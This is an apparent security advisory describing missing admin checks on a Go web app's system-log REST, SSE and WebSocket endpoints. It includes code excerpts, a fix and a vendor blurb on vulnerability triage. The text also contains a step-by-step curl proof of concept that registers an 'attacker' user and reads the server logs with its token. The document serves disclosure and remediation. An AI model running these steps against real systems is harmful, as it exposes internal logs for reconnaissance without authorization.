The system log endpoints (GET /api/system/logs, GET /api/system/logs/stream, WS /ws/system/logs) lack authorization checks, allowing any authenticated non-admin user to read and stream all server logs. These logs contain error stack traces, internal file paths, module names, and arbitrary structured fields that facilitate reconnaissance for further attacks.
The dashboard routes in internal/router/dashboard.go:7-8 register log endpoints on the AuthRouterGroup without any RequireScopes middleware:
// internal/router/dashboard.go
func setupDashboardRoutes(appRouterGroup *AppRouterGroup, h *handler.Bundle) {
appRouterGroup.AuthRouterGroup.GET("/system/logs", h.DashboardHandler.GetSystemLogs())
appRouterGroup.AuthRouterGroup.GET("/system/logs/stream", h.DashboardHandler.SSESubscribeSystemLogs())
appRouterGroup.WSRouterGroup.GET("/system/logs", h.DashboardHandler.WSSubscribeSystemLogs())
}
Compare with other admin-only routes that properly use RequireScopes:
// internal/router/setting.go — every route has RequireScopes
appRouterGroup.AuthRouterGroup.GET("/settings",
middleware.RequireScopes(authModel.ScopeAdminSettings),
h.SettingHandler.GetSiteSettings())
The AuthRouterGroup only applies JWTAuthMiddleware() (router.go:36), which validates the JWT and sets the viewer context but does not check admin status. The WSRouterGroup (router.go:37) has no middleware at all — the WebSocket handler only calls ParseToken to verify the JWT signature (dashboard.go:74) without any role/scope validation.
The handler (internal/handler/dashboard/dashboard.go:29-62) and service (internal/service/dashboard/dashboard.go:21-27) contain zero authorization checks. Other services in the codebase properly enforce admin access:
internal/service/inbox/inbox.go:132 — ensureAdmin()internal/service/migrator/migrator.go:360 — ensureAdmin()internal/service/comment/comment.go:719 — requireAdmin()Non-admin users are created with IsAdmin: false and IsOwner: false (internal/service/user/user.go:220-221) via the public registration endpoint.
The LogEntry struct (internal/util/log/log.go:78-87) exposes:
type LogEntry struct {
Time string `json:"time"`
Level string `json:"level"`
Msg string `json:"msg"`
Module string `json:"module,omitempty"`
Caller string `json:"caller,omitempty"` // internal file paths
Error string `json:"error,omitempty"` // error stack traces
Fields map[string]any `json:"fields,omitempty"` // arbitrary structured data
Raw string `json:"raw,omitempty"` // raw log lines
}
# 1. Register a non-admin user (system allows up to 5 users by default)
curl -X POST http://localhost:8080/api/register \
-H 'Content-Type: application/json' \
-d '{"username":"attacker","password":"Password123"}'
# 2. Login to get session token
TOKEN=$(curl -s -X POST http://localhost:8080/api/login \
-H 'Content-Type: application/json' \
-d '{"username":"attacker","password":"Password123"}' | jq -r '.data.token')
# 3. Read system logs — should require admin but doesn't
curl http://localhost:8080/api/system/logs \
-H "Authorization: Bearer $TOKEN"
# Returns: {"code":1,"data":[{"time":"...","level":"error","msg":"...","module":"...","caller":"internal/service/user/user.go:145","error":"...","fields":{...}},...]}
# 4. Subscribe to real-time log stream via SSE
curl -N "http://localhost:8080/api/system/logs/stream?token=$TOKEN"
# 5. Subscribe via WebSocket (WSRouterGroup has NO middleware)
# wscat -c "ws://localhost:8080/ws/system/logs?token=$TOKEN"
Any registered non-admin user can:
This information disclosure lowers the bar for chaining further attacks by revealing the application's internal structure, error handling patterns, and operational state.
Add RequireScopes middleware with an admin scope to the dashboard routes:
// internal/router/dashboard.go
func setupDashboardRoutes(appRouterGroup *AppRouterGroup, h *handler.Bundle) {
appRouterGroup.AuthRouterGroup.GET("/system/logs",
middleware.RequireScopes(authModel.ScopeAdminSettings),
h.DashboardHandler.GetSystemLogs())
appRouterGroup.AuthRouterGroup.GET("/system/logs/stream",
middleware.RequireScopes(authModel.ScopeAdminSettings),
h.DashboardHandler.SSESubscribeSystemLogs())
appRouterGroup.WSRouterGroup.GET("/system/logs",
middleware.RequireScopes(authModel.ScopeAdminSettings),
h.DashboardHandler.WSSubscribeSystemLogs())
}
Additionally, the WebSocket handler should validate admin scope after parsing the token, since the WSRouterGroup lacks middleware:
// internal/handler/dashboard/dashboard.go — WSSubscribeSystemLogs
claims, err := jwtUtil.ParseToken(token)
if err != nil {
ctx.AbortWithStatusJSON(http.StatusUnauthorized, gin.H{"msg": "invalid token"})
return
}
// Add admin check for WebSocket endpoint
if claims.TokenType == authModel.TokenTypeAccess && !containsScope(claims.Scopes, authModel.ScopeAdminSettings) {
ctx.AbortWithStatusJSON(http.StatusForbidden, gin.H{"msg": "admin access required"})
return
}
A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.
CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.
A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.
Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.
Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.
SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.